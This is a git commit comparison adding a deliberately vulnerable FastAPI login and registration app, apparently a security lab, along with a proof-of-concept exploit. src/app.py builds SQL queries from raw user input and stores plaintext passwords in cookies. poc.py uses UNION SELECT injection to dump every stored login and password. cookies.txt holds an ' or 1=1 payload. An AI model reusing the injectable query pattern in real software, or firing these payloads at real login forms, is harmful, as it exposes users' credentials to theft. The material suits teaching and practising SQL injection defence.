Compare commits
9 Commits
59aaa4ced6
...
a05fd59274
| Author | SHA1 | Date | |
|---|---|---|---|
| a05fd59274 | |||
| d990cf5482 | |||
| 2295061943 | |||
| fa7d2c7cba | |||
| 532556dacd | |||
| f18f545e33 | |||
| 661fee131e | |||
| 641df7cfe8 | |||
| 5c7d16f418 |
4
.gitignore
vendored
Normal file
4
.gitignore
vendored
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
build
|
||||||
|
.vscode
|
||||||
|
**__pycache__
|
||||||
|
data
|
||||||
11
Dockerfile
Normal file
11
Dockerfile
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
FROM python:3.11-slim
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
COPY ./requirements.txt /app/requirements.txt
|
||||||
|
|
||||||
|
RUN pip install --no-cache-dir --upgrade -r /app/requirements.txt
|
||||||
|
|
||||||
|
COPY ./src /app/src
|
||||||
|
|
||||||
|
CMD ["fastapi","run", "./src/app.py"]
|
||||||
7
compose.yaml
Normal file
7
compose.yaml
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
services:
|
||||||
|
vunerable-web-app:
|
||||||
|
image: kulesh_web-app:v0.0.1a
|
||||||
|
ports:
|
||||||
|
- "80:8000"
|
||||||
|
volumes:
|
||||||
|
- ./data/:/app/data
|
||||||
6
cookies.txt
Normal file
6
cookies.txt
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
# Netscape HTTP Cookie File
|
||||||
|
# https://curl.se/docs/http-cookies.html
|
||||||
|
# This file was generated by libcurl! Edit at your own risk.
|
||||||
|
|
||||||
|
localhost FALSE / FALSE 0 password a
|
||||||
|
localhost FALSE / FALSE 0 login "' or 1=1-- "
|
||||||
32
poc.py
Executable file
32
poc.py
Executable file
@@ -0,0 +1,32 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import requests
|
||||||
|
import re
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(description="Exploit script for extracting logins and passwords.")
|
||||||
|
parser.add_argument("--base-url", default="http://localhost:80", help="Base URL of the target application")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
BASE_URL = args.base_url
|
||||||
|
|
||||||
|
login_payload = "' UNION SELECT login FROM users--"
|
||||||
|
form_data = {"login": login_payload, "password": "' OR 1=1--"}
|
||||||
|
response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
|
||||||
|
|
||||||
|
password_payload = "' UNION SELECT password FROM users--"
|
||||||
|
form_data = {"login": password_payload, "password": "' OR 1=1--"}
|
||||||
|
response_passwords = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
|
||||||
|
|
||||||
|
logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1)
|
||||||
|
passwords_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_passwords.text).group(1)
|
||||||
|
|
||||||
|
logins= logins_raw.split("',), ('")
|
||||||
|
passwords = passwords_raw.split("',), ('")
|
||||||
|
|
||||||
|
|
||||||
|
if logins and passwords:
|
||||||
|
for i, (login, password) in enumerate(zip(logins, passwords)):
|
||||||
|
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
|
||||||
|
else:
|
||||||
|
print("Не удалось извлечь данные.")
|
||||||
|
|
||||||
1
poc_recs.txt
Normal file
1
poc_recs.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
requests
|
||||||
1
requirements.txt
Normal file
1
requirements.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
fastapi[standard]
|
||||||
156
src/app.py
Normal file
156
src/app.py
Normal file
@@ -0,0 +1,156 @@
|
|||||||
|
import sqlite3
|
||||||
|
from fastapi import FastAPI
|
||||||
|
from fastapi import Request, Form
|
||||||
|
from fastapi.responses import HTMLResponse, RedirectResponse
|
||||||
|
|
||||||
|
DB_PATH = "./data/database.db"
|
||||||
|
|
||||||
|
conn = sqlite3.connect(DB_PATH)
|
||||||
|
cursor = conn.cursor()
|
||||||
|
cursor.execute(
|
||||||
|
"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)"
|
||||||
|
)
|
||||||
|
|
||||||
|
app = FastAPI(
|
||||||
|
docs_url=None, # Disable Swagger UI
|
||||||
|
redoc_url=None, # Disable ReDoc
|
||||||
|
openapi_url=None, # Disable OpenAPI JSON schema
|
||||||
|
)
|
||||||
|
|
||||||
|
STYLES = """
|
||||||
|
<style>
|
||||||
|
body {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
min-height: 100vh;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
@app.get("/register", response_class=HTMLResponse)
|
||||||
|
async def register_form():
|
||||||
|
return f"""
|
||||||
|
<html>
|
||||||
|
<head><title>Регистрация</title>{STYLES}</head>
|
||||||
|
<body>
|
||||||
|
<h2>Регистрация</h2>
|
||||||
|
<form action="/register" method="post">
|
||||||
|
<input name="login" placeholder="Login" required><br>
|
||||||
|
<input name="password" type="password" placeholder="Password" required><br>
|
||||||
|
<button type="submit">Register</button>
|
||||||
|
</form>
|
||||||
|
<p>Уже есть аккаунт? <a href="/login">Войти</a></p>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
@app.post("/register")
|
||||||
|
async def register(login: str = Form(...), password: str = Form(...)):
|
||||||
|
try:
|
||||||
|
cursor.execute(
|
||||||
|
f"INSERT INTO users (login, password) VALUES ('{login}', '{password}')"
|
||||||
|
)
|
||||||
|
conn.commit()
|
||||||
|
response = RedirectResponse(url="/welcome", status_code=302)
|
||||||
|
response.set_cookie("login", login)
|
||||||
|
response.set_cookie("password", password)
|
||||||
|
return response
|
||||||
|
except sqlite3.IntegrityError:
|
||||||
|
return HTMLResponse(
|
||||||
|
f"""
|
||||||
|
<html>
|
||||||
|
<head><title>Ошибка регистрации</title>{STYLES}</head>
|
||||||
|
<body>
|
||||||
|
<h3>Login уже существует</h3>
|
||||||
|
<a href='/register'>Попробовать снова</a>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
""",
|
||||||
|
status_code=400,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@app.get("/login", response_class=HTMLResponse)
|
||||||
|
async def login_form():
|
||||||
|
return f"""
|
||||||
|
<html>
|
||||||
|
<head><title>Вход</title>{STYLES}</head>
|
||||||
|
<body>
|
||||||
|
<h2>Вход</h2>
|
||||||
|
<form action="/login" method="post">
|
||||||
|
<input name="login" placeholder="Login" required><br>
|
||||||
|
<input name="password" type="password" placeholder="Password" required><br>
|
||||||
|
<button type="submit">Login</button>
|
||||||
|
</form>
|
||||||
|
<p>Нет аккаунта? <a href="/register">Зарегистрироваться</a></p>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
@app.post("/login")
|
||||||
|
async def login(login: str = Form(...), password: str = Form(...)):
|
||||||
|
cursor.execute(
|
||||||
|
f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
|
||||||
|
)
|
||||||
|
user = cursor.fetchall()
|
||||||
|
if user:
|
||||||
|
response = RedirectResponse(url="/welcome", status_code=302)
|
||||||
|
response.set_cookie("login", login)
|
||||||
|
response.set_cookie("password", password)
|
||||||
|
return response
|
||||||
|
else:
|
||||||
|
return HTMLResponse(
|
||||||
|
f"""
|
||||||
|
<html>
|
||||||
|
<head><title>Ошибка входа</title>{STYLES}</head>
|
||||||
|
<body>
|
||||||
|
<h3>Неверные учетные данные</h3>
|
||||||
|
<a href='/login'>Попробовать снова</a>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
""",
|
||||||
|
status_code=401,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@app.get("/welcome", response_class=HTMLResponse)
|
||||||
|
async def welcome(request: Request):
|
||||||
|
login = request.cookies.get("login")
|
||||||
|
password = request.cookies.get("password")
|
||||||
|
if not login or not password:
|
||||||
|
return RedirectResponse(url="/login")
|
||||||
|
query=f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
|
||||||
|
print(f"executing: {query}")
|
||||||
|
cursor.execute(
|
||||||
|
query
|
||||||
|
)
|
||||||
|
user = cursor.fetchall()
|
||||||
|
if user:
|
||||||
|
return f"""
|
||||||
|
<html>
|
||||||
|
<head><title>Добро пожаловать</title>{STYLES}</head>
|
||||||
|
<body>
|
||||||
|
<h1>Привет, {str(user)[3:-4]}</h1>
|
||||||
|
<button onclick="
|
||||||
|
document.cookie = 'login=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
|
||||||
|
document.cookie = 'password=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
|
||||||
|
window.location.href = '/login';
|
||||||
|
">Выйти</button>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
"""
|
||||||
|
|
||||||
|
else:
|
||||||
|
return RedirectResponse(url="/login")
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@app.get("/", include_in_schema=False)
|
||||||
|
async def root():
|
||||||
|
return RedirectResponse(url="/login")
|
||||||
Reference in New Issue
Block a user